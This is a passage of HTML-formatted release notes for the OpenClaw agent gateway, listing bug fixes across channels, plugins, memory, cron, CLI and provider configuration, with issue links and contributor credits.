<li>Media: treat legacy Word/OLE attachments with <code>application/msword</code> or <code>application/x-cfb</code> MIME as binary so printable-looking <code>.doc</code> files are not embedded into prompts as text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4131935972" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54176" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/54176/hovercard" href="https://github.com/openclaw/openclaw/issues/54176">#54176</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4133810089" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/54380" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/54380/hovercard" href="https://github.com/openclaw/openclaw/pull/54380">#54380</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/andyliu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/andyliu">@andyliu</a>.</li>
<li>Config: accept documented <code>browser.tabCleanup</code> keys in strict root config validation, so configured tab cleanup no longer fails before runtime reads it. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353207232" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74577" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74577/hovercard" href="https://github.com/openclaw/openclaw/issues/74577">#74577</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lonexreb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lonexreb">@lonexreb</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ezdlp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ezdlp">@ezdlp</a>.</li>
<li>Cron: validate disabled job schedule edits before persisting updates, so invalid cron changes no longer partially mutate stored jobs. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4351895210" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74459" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74459/hovercard" href="https://github.com/openclaw/openclaw/issues/74459">#74459</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yfge/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yfge">@yfge</a>.</li>
<li>CLI/cron: warn when <code>openclaw cron add --message</code> omits a nonblank <code>--agent</code>, including blank agent values and session-key jobs, so scheduled agent-turn jobs make default-agent fallback explicit while system events stay quiet. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4051936623" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42196" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42196/hovercard" href="https://github.com/openclaw/openclaw/issues/42196">#42196</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052315763" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42245" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42245/hovercard" href="https://github.com/openclaw/openclaw/pull/42245">#42245</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethanclaw/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethanclaw">@ethanclaw</a>.</li>
<li>CLI/progress: suppress nested progress spinners and line clears while TUI input owns raw stdin, so Crestodian <code>/status</code> no longer disturbs the active input row. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4356940813" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75003" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75003/hovercard" href="https://github.com/openclaw/openclaw/pull/75003">#75003</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/velvet-shark/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/velvet-shark">@velvet-shark</a>.</li>
<li>Channels/status: keep Telegram, Slack, and Google Chat read-only allowlist/default-target accessors on config-only paths, so status and channel summaries do not resolve SecretRef-backed runtime credentials. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eusine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eusine">@eusine</a>.</li>
<li>Telegram: use durable message edits for streaming previews instead of native draft state, so generated replies no longer flicker through draft-to-message transitions that look like duplicates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358015486" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75073/hovercard" href="https://github.com/openclaw/openclaw/pull/75073">#75073</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obviyus/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obviyus">@obviyus</a>.</li>
<li>Telegram: clamp low long-polling client timeouts so configured <code>timeoutSeconds</code> values below the <code>getUpdates</code> poll window no longer force a fresh HTTPS connection every few seconds. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4358955789" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75114" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/75114/hovercard" href="https://github.com/openclaw/openclaw/issues/75114">#75114</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hpinho77/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hpinho77">@hpinho77</a>.</li>
<li>Active Memory: clarify the deprecated <code>modelFallbackPolicy</code> warning and config help so <code>modelFallback</code> is described as a chain-resolution last resort, not runtime failover. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353454562" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74602/hovercard" href="https://github.com/openclaw/openclaw/pull/74602">#74602</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeffrey701/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeffrey701">@jeffrey701</a>.</li>
<li>Channels/Discord: keep read-only allowlist/default-target accessors from resolving SecretRef-backed bot tokens, so status and channel summaries no longer fail when tokens are only available in gateway runtime. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354779461" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74737/hovercard" href="https://github.com/openclaw/openclaw/pull/74737">#74737</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/eusine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/eusine">@eusine</a>.</li>
<li>Gateway/sessions: align session abort wait semantics across <code>chat</code>, <code>agent</code>, and <code>sessions</code> server methods so abort RPCs return after the targeted sessions actually halt instead of resolving early while runs are still draining. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354883943" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74751" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74751/hovercard" href="https://github.com/openclaw/openclaw/pull/74751">#74751</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</li>
<li>Agents/output: drop copied inbound metadata-only assistant replay turns before provider replay instead of synthesizing a placeholder, so Telegram and other channels cannot receive <code>[assistant copied inbound metadata omitted]</code> as model output. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354851470" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74745" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74745/hovercard" href="https://github.com/openclaw/openclaw/issues/74745">#74745</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/adamwdear/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/adamwdear">@adamwdear</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Marvae/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Marvae">@Marvae</a>.</li>
<li>Doctor/memory: suppress skipped embedding-readiness warnings for key-optional providers such as Ollama and LM Studio while preserving timeout and not-ready diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353533459" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74608" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74608/hovercard" href="https://github.com/openclaw/openclaw/issues/74608">#74608</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347037109" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73882" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73882/hovercard" href="https://github.com/openclaw/openclaw/issues/73882">#73882</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Channels/groups: preserve observe-only turn suppression for prepared dispatch paths and restore deprecated channel turn runtime aliases, so passive observer/group flows stay silent while older plugins keep compiling. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Feishu: skip empty-text messages (e.g. <code>{"text":""}</code>) that carry no media, so no blank user turn is written to the session and downstream LLM providers cannot reject the request with "messages must not be empty". (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353876867" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74634" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74634/hovercard" href="https://github.com/openclaw/openclaw/issues/74634">#74634</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xdengli/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xdengli">@xdengli</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Feishu/Bitable: clean up newly created placeholder rows whose fields contain only default empty values while preserving meaningful link, attachment, user, number, boolean, and location values during create-app cleanup. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347281559" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73920" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73920/hovercard" href="https://github.com/openclaw/openclaw/pull/73920">#73920</a>) Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4043329694" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40602" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40602/hovercard" href="https://github.com/openclaw/openclaw/pull/40602">#40602</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/boat2moon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/boat2moon">@boat2moon</a>.</li>
<li>macOS app: keep attach-only mode and the Debug Settings launchd toggle marker-only, so launching with <code>--attach-only</code>/<code>--no-launchd</code> no longer uninstalls the Gateway LaunchAgent or drops active sessions. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4330918206" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72174" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72174/hovercard" href="https://github.com/openclaw/openclaw/pull/72174">#72174</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DolencLuka/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DolencLuka">@DolencLuka</a>.</li>
<li>macOS Canvas: stop auto-reloading the current A2UI host during push/eval/snapshot flows, so pushed A2UI content remains visible instead of returning to the empty Canvas shell. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4341063728" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73337" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73337/hovercard" href="https://github.com/openclaw/openclaw/issues/73337">#73337</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Gr4via/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Gr4via">@Gr4via</a>.</li>
<li>Plugin SDK: restore the deprecated <code>plugin-sdk/zalouser</code> command-auth facade so published Lark/Zalo plugins that import it load on current hosts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354621148" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74702" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74702/hovercard" href="https://github.com/openclaw/openclaw/issues/74702">#74702</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Goron01/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Goron01">@Goron01</a>.</li>
<li>Plugins/runtime-deps: include bundled provider plugins when <code>models.providers</code>, auth profiles, agent defaults, or subagent model refs configure that provider, while keeping inactive default-enabled provider plugins out of doctor repair. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4350160379" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74307" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74307/hovercard" href="https://github.com/openclaw/openclaw/issues/74307">#74307</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Skeptomenos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Skeptomenos">@Skeptomenos</a>.</li>
<li>Plugins/runtime: resolve relative plugin <code>api.resolvePath</code> inputs against the plugin root instead of the host working directory, while keeping absolute and home paths user-resolved. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354673479" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74718" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74718/hovercard" href="https://github.com/openclaw/openclaw/pull/74718">#74718</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jimdawdy-hub/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jimdawdy-hub">@jimdawdy-hub</a>.</li>
<li>Plugins/runtime-deps: refresh mirrored root chunks through a temporary file before replacing the active copy, so failed refreshes do not delete chunks that running plugin imports still need. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>Plugins/runtime-deps: prefer <code>require</code> conditional exports when building staged dependency aliases, so CommonJS-only plugin runtime deps such as <code>ws</code> do not resolve to ESM wrappers under Jiti. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4352876135" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74547" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74547/hovercard" href="https://github.com/openclaw/openclaw/issues/74547">#74547</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aderius/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aderius">@aderius</a>.</li>
<li>Bonjour/Gateway: cap flapping advertiser restarts in a sliding window, so mDNS probing/name-conflict loops disable discovery instead of churning indefinitely on constrained hosts. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348958904" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74209" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74209/hovercard" href="https://github.com/openclaw/openclaw/issues/74209">#74209</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4349224957" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74242/hovercard" href="https://github.com/openclaw/openclaw/pull/74242">#74242</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ndj888/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ndj888">@ndj888</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>.</li>
<li>Plugins/runtime-deps: verify staged package entry files before reusing mirrored runtime roots, so browser-control repairs incomplete <code>ajv</code>/MCP SDK installs after update instead of failing after restart on a missing <code>ajv/dist/ajv.js</code>. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spickeringlr/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spickeringlr">@spickeringlr</a>.</li>
<li>Heartbeat: resolve <code>responsePrefix</code> template variables with the selected provider, model, and thinking context before delivering alerts or suppressing prefixed <code>HEARTBEAT_OK</code> replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057207695" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43064" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43064/hovercard" href="https://github.com/openclaw/openclaw/issues/43064">#43064</a>; repairs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4057211022" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43065" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43065/hovercard" href="https://github.com/openclaw/openclaw/pull/43065">#43065</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077564180" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46858" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46858/hovercard" href="https://github.com/openclaw/openclaw/pull/46858">#46858</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/yweiii/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/yweiii">@yweiii</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JunJD/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JunJD">@JunJD</a>.</li>
<li>Memory/LanceDB: show full memory UUIDs in the <code>memory_forget</code> candidate list so agents can pass the displayed ID back to targeted deletion without hitting the full-UUID validator. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4265695758" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66913" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66913/hovercard" href="https://github.com/openclaw/openclaw/pull/66913">#66913</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amittell/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amittell">@amittell</a>.</li>
<li>File-transfer plugin: require canonical read-path preflight authorization for <code>file.fetch</code>, fail closed when <code>dir.fetch</code> preflight entries are missing, absolute, or traversing, and recheck returned archive entries before handing archive bytes to callers. Carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348342550" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74134" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74134/hovercard" href="https://github.com/openclaw/openclaw/pull/74134">#74134</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/omarshahine/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/omarshahine">@omarshahine</a>.</li>
<li>Channels/Feishu: retry file-typed iOS video resource downloads as <code>media</code> after a Feishu/Lark HTTP 502 and preserve the original 502 when the fallback also fails. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4095635032" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49855" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49855/hovercard" href="https://github.com/openclaw/openclaw/issues/49855">#49855</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098933775" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50164" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50164/hovercard" href="https://github.com/openclaw/openclaw/pull/50164">#50164</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347465827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73986" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73986/hovercard" href="https://github.com/openclaw/openclaw/pull/73986">#73986</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alex-xuweilong/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alex-xuweilong">@alex-xuweilong</a>.</li>
<li>Providers/Amazon Bedrock: expose the full Claude Opus 4.7 thinking profile (<code>xhigh</code>, <code>adaptive</code>, and <code>max</code>) for Bedrock model refs, while keeping Opus/Sonnet 4.6 on adaptive-by-default, so <code>/think</code> menus and validation match the Anthropic transport behavior. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354600083" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74701" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74701/hovercard" href="https://github.com/openclaw/openclaw/issues/74701">#74701</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/prasad-yashdeep/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/prasad-yashdeep">@prasad-yashdeep</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sparkleHazard/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sparkleHazard">@sparkleHazard</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</li>
<li>Plugins/tokenjuice: compile the bundled plugin against tokenjuice 0.7.0's published OpenClaw host types instead of a local compatibility shim, so package contract drift fails in OpenClaw validation before release. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>OAuth/secrets: ignore root-level Google OAuth <code>client_secret_*.json</code> downloads so local client-secret files do not appear as commit candidates. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354413662" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74689" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74689/hovercard" href="https://github.com/openclaw/openclaw/pull/74689">#74689</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jeongdulee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jeongdulee">@jeongdulee</a>.</li>
<li>Memory: mirror <code>sqlite-vec</code> into packaged bundled-plugin runtime deps for the default memory plugin, so builtin vector search does not lose its SQLite extension after upgrading to 2026.4.27. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354441000" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74692" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74692/hovercard" href="https://github.com/openclaw/openclaw/issues/74692">#74692</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mozi1924/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mozi1924">@mozi1924</a>.</li>
<li>Gateway/startup: bound local discovery advertisement during startup, so a stuck discovery plugin can no longer keep the Gateway from reaching ready. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4346875416" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73865" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73865/hovercard" href="https://github.com/openclaw/openclaw/issues/73865">#73865</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353860044" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74633" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74633/hovercard" href="https://github.com/openclaw/openclaw/issues/74633">#74633</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/lpendeavors/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/lpendeavors">@lpendeavors</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moltar-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moltar-bot">@moltar-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Saboor711/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Saboor711">@Saboor711</a>.</li>
<li>Gateway/models: serve the last successful model catalog while stale reloads refresh in the background, so Gateway control-plane and OpenAI-compatible requests no longer block behind model-provider rediscovery after model config changes. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4348343209" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74135" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74135/hovercard" href="https://github.com/openclaw/openclaw/issues/74135">#74135</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353810195" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74630" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74630/hovercard" href="https://github.com/openclaw/openclaw/issues/74630">#74630</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4353860044" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74633" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74633/hovercard" href="https://github.com/openclaw/openclaw/issues/74633">#74633</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DerFlash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DerFlash">@DerFlash</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/moltar-bot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/moltar-bot">@moltar-bot</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Saboor711/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Saboor711">@Saboor711</a>.</li>
<li>CLI/status: resolve read-only channel setup runtime fallback from the packaged OpenClaw dist root, so <code>status --all</code>, <code>status --deep</code>, channel, and doctor paths do not crash when an external channel plugin needs setup metadata. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4354478427" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74693" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74693/hovercard" href="https://github.com/openclaw/openclaw/issues/74693">#74693</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/giangthb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/giangthb">@giangthb</a>.</li>
